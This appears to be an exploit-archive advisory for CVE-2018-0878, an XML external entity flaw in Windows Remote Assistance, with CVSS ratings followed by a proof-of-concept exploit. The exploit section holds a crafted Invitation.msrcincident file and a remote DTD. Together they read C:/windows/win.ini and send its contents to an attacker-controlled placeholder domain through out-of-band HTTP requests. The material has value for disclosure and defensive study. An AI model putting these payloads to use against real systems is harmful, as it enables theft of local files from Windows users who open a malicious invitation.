Microsoft Windows Remote Assistance XML External Entity Injection

2018.03.29
Credit: Nabeel Ahmed
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-611


CVSS Base Score: 2.6/10
Impact Subscore: 2.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: Microsoft Windows Remote Assistance XXE # Date: 27/03/2018 # Exploit Author: Nabeel Ahmed # Tested on: Windows 7 (x64), Windows 10 (x64) # CVE : CVE-2018-0878 # Category: Remote Exploits Invitation.msrcincident ------------------------ <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE zsl [ <!ENTITY % remote SYSTEM "http://<yourdomain.com>/xxe.xml"> %remote;%root;%oob;]> xxe.xml ------------------------ <!ENTITY % payload SYSTEM "file:///C:/windows/win.ini"> <!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://<yourdomain.com>/?%payload;'> "> Reference: https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/ Reference: Vulnerability discovered by Nabeel Ahmed (@NabeelAhmedBE) of Dimension Data (https://www.dimensiondata.com)

References:

https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/


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